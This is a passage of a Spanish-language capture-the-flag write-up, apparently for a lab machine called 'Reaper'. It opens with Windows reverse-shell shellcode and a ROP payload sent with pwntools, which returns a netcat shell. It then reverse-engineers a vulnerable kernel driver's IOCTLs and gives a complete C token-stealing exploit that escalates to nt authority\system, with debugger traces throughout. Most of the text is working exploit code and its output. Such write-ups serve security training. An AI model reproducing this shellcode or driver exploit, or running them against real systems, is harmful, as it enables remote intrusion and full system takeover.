shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81"
shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02"
shellcode += b"\x00\x01\xbb\x0a\x08\x00\x0a\x41\x54\x49\x89"
shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31"
shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0"
shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff"
shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50"
shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d"
shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01"
shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89"
shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff"
shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89"
shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31"
shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d"
shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"

payload  = b""
payload += junk
payload += rop
payload += shellcode

shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))  
shell.sendlineafter(b"Exit\n", b"2")

Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell

❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 4141: Done  
[*] Closed connection to 10.10.122.10 port 4141

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 49824
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.  

C:\> whoami
reaper\keysvc
C:\>


Shell - system


En el directorio C:\driver podemos encontrar un archivo llamado reaper.sys que probablemente es un driver personalizado corriendo dentro de la máquina

PS C:\driver> dir

    Directory: C:\driver

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/27/2023   9:12 AM           8432 reaper.sys  

PS C:\driver>

Abrimos el driver en IDA, la función DriverEntry inicia llamando a 2 funciones sin simbolos, la primera solo comprueba una cookie asi que vamos con la segunda

La función sub_11c8 inicia llamando a RtlGetVersion que se utiliza para obtener información sobre el sistema operativo que se está ejecutando actualmente

La interfaz con la que podemos comunicarnos con el driver son las llamadas ioctl, al instalar un driver utilizando la función IoCreateDevice se establece un nombre de dispositivo, en el siguiente bloque podemos ver que se establece a \\\\.\\Reaper

Cada función se identifica con un código ioctl, el driver acepta este tipo de llamadas usando estructuras de tipo IRP o I/O Request Packets, en este bloque podemos ver que la función establecida para encargarse de esta tarea es sub_1020, esta inicia haciendo comparaciones de varios códigos ioctl con sus saltos condicionales

Si el código ioctl es 0x80002003 realiza una comparación de un valor Magic con el dword 0x6a55cc9e, si se cumple llama ExAllocatePoolWithTag que asigna un espacio en memoria del tipo NonPagedPool con un tamaño total de 0x20 y el tag paeR

Luego de ello crea una estructura ReaperData con valores en diferentes offsets, el primero de ellos es el valor Magic que tenemos que cumplir, algunos otros valores interesantes son unas direcciones Src y Dst las cuales nos servirán mas adelante

Podemos definirlo en C como una estructura donde los primeros 3 valores son dwords, luego un dword sin usar y finalmente 2 direcciones de tamaño qwords

typedef struct ReaperData {  
    DWORD Magic;
    DWORD ThreadId;
    DWORD Priority;
    DWORD Empty;
    QWORD SrcAddress;
    QWORD DstAddress;
} ReaperData;

Si el código ioctl es igual a 0x80002007 llama a la función ExFreePoolWithTag que libera el bloque de memoria del pool que se asigno con el tag anteriormente

El código 0x8000200b llama a PsLookupThreadByThreadId acepta el id de un hilo y devuelve el puntero a la estructura ETHREAD, luego llama a KeSetPriorityThread establece la prioridad de tiempo de ejecución del hilo creado, finalmente llama a la función ObDeferenceObject disminuye el numero de referencias al objeto dado

Luego de mover a rcx el Dst y a rax el Src de la estructura que se creó con la asignación ejecuta un bloque que mueve el contenido de la dirección Src a Dst

Entonces, tenemos 3 códigos ioctl, el primero asigna un espacio en memoria, el segundo la libera y el tercera copia el contenido de una fuente a un destino

#define IOCTL_ALLOC 0x80002003  
#define IOCTL_FREE  0x80002007  
#define IOCTL_COPY  0x8000200b  

Podemos escribir las llamadas de la siguiente forma, se llama a DeviceIoControl para comunicarse con el driver, el código de ALLOC escribe la estructura userData, con COPY hacemos la escritura al destino y con FREE liberamos el bloque de memoria

    DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);

La función ArbitraryWrite nos permite escribir un qword, el primer valor es Magic que necesitamos para cumplir la condición, a ThreadId le pasamos el id actual, el Priority podemos establecerlo a 0 y los ultimos valores son la dirección de fuente y de destino, entonces llamamos al ioctl de ALLOC para establecer la estructura, luego al de COPY que escribe el qword y libera el bloque llamando al de FREE

VOID ArbitraryWrite(HANDLE hDevice, QWORD what, QWORD where) {  
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcAddress = what;
    userData.DstAddress = where;

    DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}

La función ArbitraryRead es parecida pero solo recibe como argumento donde queremos leer, como destino de COPY establecemos la referencia a un qword llamado output que es el valor que se retorna luego de llamar a las funciones

QWORD ArbitraryRead(HANDLE hDevice, QWORD where) {  
    QWORD output;
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcAddress = where;
    userData.DstAddress = (QWORD) &output;

    DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);

    return output;
}

En la máquina que se va a depurar habilitaremos el modo debug y en los ajustes haremos que se conecte al debugger por el puerto 50000 con la key 1.1.1.1

C:\Windows\system32> bcdedit /debug on
The operation completed successfully.

C:\Windows\system32> bcdedit /dbgsettings net hostip:192.168.100.5 port:50000 key:1.1.1.1  
Key=1.1.1.1

C:\Windows\system32>

En la máquina debugger ejecutaremos WinDbg y en la pestaña Attach to kernel, añadimos el puerto y la key que especificamos antes en la máquina a depurar

Ahora con sc podemos iniciar el driver reaper.sys como un servicio en el kernel

C:\driver> sc create Reaper binPath=C:\driver\reaper.sys type=kernel
[SC] CreateService SUCCESS

C:\driver> sc config Reaper start=system
[SC] ChangeServiceConfig SUCCESS

C:\driver> sc start Reaper

SERVICE_NAME: Reaper
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)  
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :

C:\driver>

Finalmente solo necesitamos reiniciar la máquina a depurar y automáticamente se conectara al debugger, podemos ejecutar g para dejar que arranque con normalidad

Connected to target 192.168.100.10 on port 50000 on local IP 192.168.100.5.
You can get the target MAC address by running .kdtargetmac command.
Kernel Debugger connection established.  (Initial Breakpoint requested)

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*c:\symbols*http://msdl.microsoft.com/download/symbols  
Symbol search path is: SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
Windows 10 Kernel Version 19045 MP (2 procs) Free x64
Kernel base = 0xfffff800`56000000 PsLoadedModuleList = 0xfffff800`56c33a50
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff800`56420b10 cc              int     3

0: kd> g

Podemos comprobar que se cargó listando el módulo reaper desde el debugger

0: kd> lm m reaper
Browse full module list
start             end                 module name
fffff800`64790000 fffff800`64797000   reaper     (deferred)  

En windows existe un proceso llamado SYSTEM al cual le pertenece el pid 4, este alberga la mayoria de subprocesos del sistema en modo kernel, dado que alberga la ejecución del código en modo kernel que está en un contexto de altos privilegios

0: kd> !process 0 0 System
PROCESS ffffba09b847a040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ae000  ObjectTable: ffffe0006c085000  HandleCount: 1993.  
    Image: System

La dirección que nos otorga el primer resultado es la de la estructura _EPROCESS de SYSTEM, entre los atributos de la estructura en el offset 0x4b8 encontramos lo primero interesante para nuestro shellcode, esto es el campo Token del proceso

0: kd> dt nt!_EPROCESS 0xffffba09b847a040 Token
   +0x4b8 Token : _EX_FAST_REF

0: kd> dt nt!_EX_FAST_REF 0xffffba09b847a040 + 0x4b8
   +0x000 Object           : 0xffffe000`6c04c045 Void  
   +0x000 RefCnt           : 0y0101
   +0x000 Value            : 0xffffe000`6c04c045

Otros campos bastante interesantes son UniqueProcessId en el offset 0x440 que guarda el pid del proceso y el campo ActiveProcessLinks en el offset 0x448 que es una estructura doblemente enlazada que apunta al _EPROCESS del siguiente proceso

0: kd> dt nt!_EPROCESS 0xffffba09b847a040 UniqueProcessId
   +0x440 UniqueProcessId : 0x00000000`00000004 Void

0: kd> dt nt!_EPROCESS 0xffffba09b847a040 ActiveProcessLinks
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffba09`b855d4c8 - 0xfffff807`66c26360 ]  

Los offsets de la estructura pueden cambiar en las diferentes versiones de windows, para la versión especifica que corre la máquina victima tenemos estos offsets

#define OFFSET_Token 0x4b8
#define OFFSET_UniqueProcessId 0X440
#define OFFSET_ActiveProcessLinks 0x448  

La función GetKernelBase obtiene la dirección base del kernel con EnumDeviceDrivers, la función GetSystemEProcess carga el binario ntoskrnl.exe, luego obtiene la dirección relativa al bloque de datos del proceso de System, finalmente calcula la dirección sumando el offset a la dirección base del kernel y lee el _EPROCESS

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

QWORD GetSystemEProcess(HANDLE hDevice, QWORD kernelBase) {
    HMODULE hKernel = LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
    
    QWORD userPsInitialProcess = (QWORD) GetProcAddress(hKernel, "PsInitialSystemProcess");  
    QWORD offsetPsInitialProcess = userPsInitialProcess - (QWORD) hKernel;
    QWORD kernelPsInitialProcess = kernelBase + offsetPsInitialProcess;

    QWORD systemEProcess = ArbitraryRead(hDevice, kernelPsInitialProcess);

    FreeLibrary(hKernel);
    return systemEProcess;
}

La funcion GetCurrentEProcess recibe como argumento el systemEProcess y a partir de ahi en bucle recorre la lista doblemente enlazada ActiveProcessLinks, compara si el pid del _EPROCESS es igual al del proceso actual y si es asi retorna la dirección

QWORD GetCurrentEProcess(HANDLE hDevice, QWORD systemEProcess) {
    QWORD currentEProcess = systemEProcess;
    DWORD currentProcessId = GetCurrentProcessId();

    while (TRUE) {
        QWORD processLinkAddress = ArbitraryRead(hDevice, currentEProcess + OFFSET_ActiveProcessLinks);
        QWORD processId = ArbitraryRead(hDevice, processLinkAddress - OFFSET_ActiveProcessLinks + OFFSET_UniqueProcessId);  

        currentEProcess = processLinkAddress - OFFSET_ActiveProcessLinks;

        if ((DWORD) processId == currentProcessId) {
            break;
        }
    }

    return currentEProcess;
}

La función main explota un Token Stealing, obtiene las direcciones de la estructura _EPROCESS del proceso de System y la del proceso actual, luego escribe en la dirección del campo Token del proceso actual el campo Token del proceso System, con el fin de comprobar el funcionamiento establecemos varios printf y un getchar

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    QWORD kernelBase = GetKernelBase();
    printf("[*] Kernel Base: 0x%llx\n", kernelBase);

    QWORD systemEProcess = GetSystemEProcess(hDevice, kernelBase);
    printf("[*] System _EPROCESS: 0x%llx\n", systemEProcess);

    QWORD currentEProcess = GetCurrentEProcess(hDevice, systemEProcess);
    printf("[*] Current _EPROCESS: 0x%llx\n", currentEProcess);

    getchar();

    ArbitraryWrite(hDevice, systemEProcess + OFFSET_Token, currentEProcess + OFFSET_Token);
    system("cmd.exe");
    
    CloseHandle(hDevice);
    return 0;
}

Al ejecutar el exploit llega al getchar muestra 3 direcciones de memoria con printf

PS C:\Users\user\Desktop> .\exploit.exe
[*] Kernel Base: 0xfffff80009e07000
[*] System _EPROCESS: 0xffff910748cba040
[*] Current _EPROCESS: 0xffff91074edd5080  

La primera dirección es la base del kernel que podemos ver como el módulo nt

0: kd> lm m nt
Browse full module list
start             end                 module name
fffff800`09e07000 fffff800`0ae4e000   nt         (pdb symbols)  

Las otras 2 direcciones apuntal a la estructura _EPROCESS de 2 procesos, el primero es de System y el segundo de nuestro exploit, en el offset 0x4b8 podemos ver sus valores del campo Token, hasta ahora todo es normal y cada uno es diferente

0: kd> dt nt!_EPROCESS 0xffff910748cba040 ImageFileName  
   +0x5a8 ImageFileName : [15]  "System"

0: kd> dt nt!_EPROCESS 0xffff91074edd5080 ImageFileName  
   +0x5a8 ImageFileName : [15]  "exploit.exe"

0: kd> dt nt!_EX_FAST_REF 0xffff910748cba040 + 0x4b8 Value
   +0x000 Value : 0xffffb701`9c04c047

0: kd> dt nt!_EX_FAST_REF 0xffff91074edd5080 + 0x4b8 Value
   +0x000 Value : 0xffffb701`a205281f

Establecemos un breakpoint en el mov del driver y al llegar a el podemos ver guarda en rax el Token del proceso System, luego lo mueve como el contenido del registro rcx que apunta a la dirección donde se encuentra el Token del proceso actual

0: kd> bp Reaper + 0x10be

0: kd> g
Breakpoint 0 hit
Reaper+0x10be:
fffff800`101b10be 488b00          mov     rax,qword ptr [rax]  

0: kd> dqs rax L1
ffff9107`48cba4f8  ffffb701`9c04c047

0: kd> p
Reaper+0x10c1:
fffff800`101b10c1 488901          mov     qword ptr [rcx],rax  

0: kd> dqs rcx L1
ffff9107`4edd5538  ffffb701`a205281f

Al final de la ejecución ambos procesos tienen el mismo Token, y al proceso actual tener el Token del proceso System deberia obtener tambien sus privilegios

0: kd> p
Reaper+0x10c4:
fffff800`101b10c4 e99c000000      jmp     Reaper+0x1165 (fffff800`101b1165)  

0: kd> dt nt!_EX_FAST_REF 0xffff910748cba040 + 0x4b8 Value
   +0x000 Value : 0xffffb701`9c04c047

0: kd> dt nt!_EX_FAST_REF 0xffff91074edd5080 + 0x4b8 Value
   +0x000 Value : 0xffffb701`9c04c047

Entonces, nuestro exploit a través de las funciones de los códigos ioctl escribe el Token del proceso System en el proceso actual, luego ejecuta system("cmd.exe") que al ejecutarlo nos devuelve una shell como el usuario nt authority\system

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

#define IOCTL_ALLOC 0x80002003
#define IOCTL_FREE  0x80002007
#define IOCTL_COPY  0x8000200b

#define OFFSET_Token 0x4b8
#define OFFSET_UniqueProcessId 0X440
#define OFFSET_ActiveProcessLinks 0x448

#define QWORD ULONGLONG

typedef struct ReaperData {
    DWORD Magic;
    DWORD ThreadId;
    DWORD Priority;
    DWORD Empty;
    QWORD SrcAddress;
    QWORD DstAddress;
} ReaperData;

VOID ArbitraryWrite(HANDLE hDevice, QWORD what, QWORD where) {
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcAddress = what;
    userData.DstAddress = where;

    DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}

QWORD ArbitraryRead(HANDLE hDevice, QWORD where) {
    QWORD output;
    ReaperData userData;

    userData.Magic = 0x6a55cc9e;
    userData.ThreadId = GetCurrentThreadId();
    userData.Priority = 0;
    userData.SrcAddress = where;
    userData.DstAddress = (QWORD) &output;

    DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);  
    DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
    DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);

    return output;
}

QWORD GetSystemEProcess(HANDLE hDevice, QWORD kernelBase) {
    HMODULE hKernel = LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
    
    QWORD userPsInitialProcess = (QWORD) GetProcAddress(hKernel, "PsInitialSystemProcess");  
    QWORD offsetPsInitialProcess = userPsInitialProcess - (QWORD) hKernel;
    QWORD kernelPsInitialProcess = kernelBase + offsetPsInitialProcess;

    QWORD systemEProcess = ArbitraryRead(hDevice, kernelPsInitialProcess);

    FreeLibrary(hKernel);
    return systemEProcess;
}

QWORD GetCurrentEProcess(HANDLE hDevice, QWORD systemEProcess) {
    QWORD currentEProcess = systemEProcess;
    DWORD currentProcessId = GetCurrentProcessId();

    while (TRUE) {
        QWORD processLinkAddress = ArbitraryRead(hDevice, currentEProcess + OFFSET_ActiveProcessLinks);
        QWORD processId = ArbitraryRead(hDevice, processLinkAddress - OFFSET_ActiveProcessLinks + OFFSET_UniqueProcessId);  

        currentEProcess = processLinkAddress - OFFSET_ActiveProcessLinks;

        if ((DWORD) processId == currentProcessId) {
            break;
        }
    }

    return currentEProcess;
}

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    QWORD systemEProcess = GetSystemEProcess(hDevice, GetKernelBase());
    QWORD currentEProcess = GetCurrentEProcess(hDevice, systemEProcess);

    ArbitraryWrite(hDevice, systemEProcess + OFFSET_Token, currentEProcess + OFFSET_Token);
    system("cmd.exe");

    CloseHandle(hDevice);
    return 0;
}

C:\Users\keysvc\Desktop> exploit.exe
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.  

C:\Users\keysvc\Desktop> whoami
nt authority\system

C:\Users\keysvc\Desktop>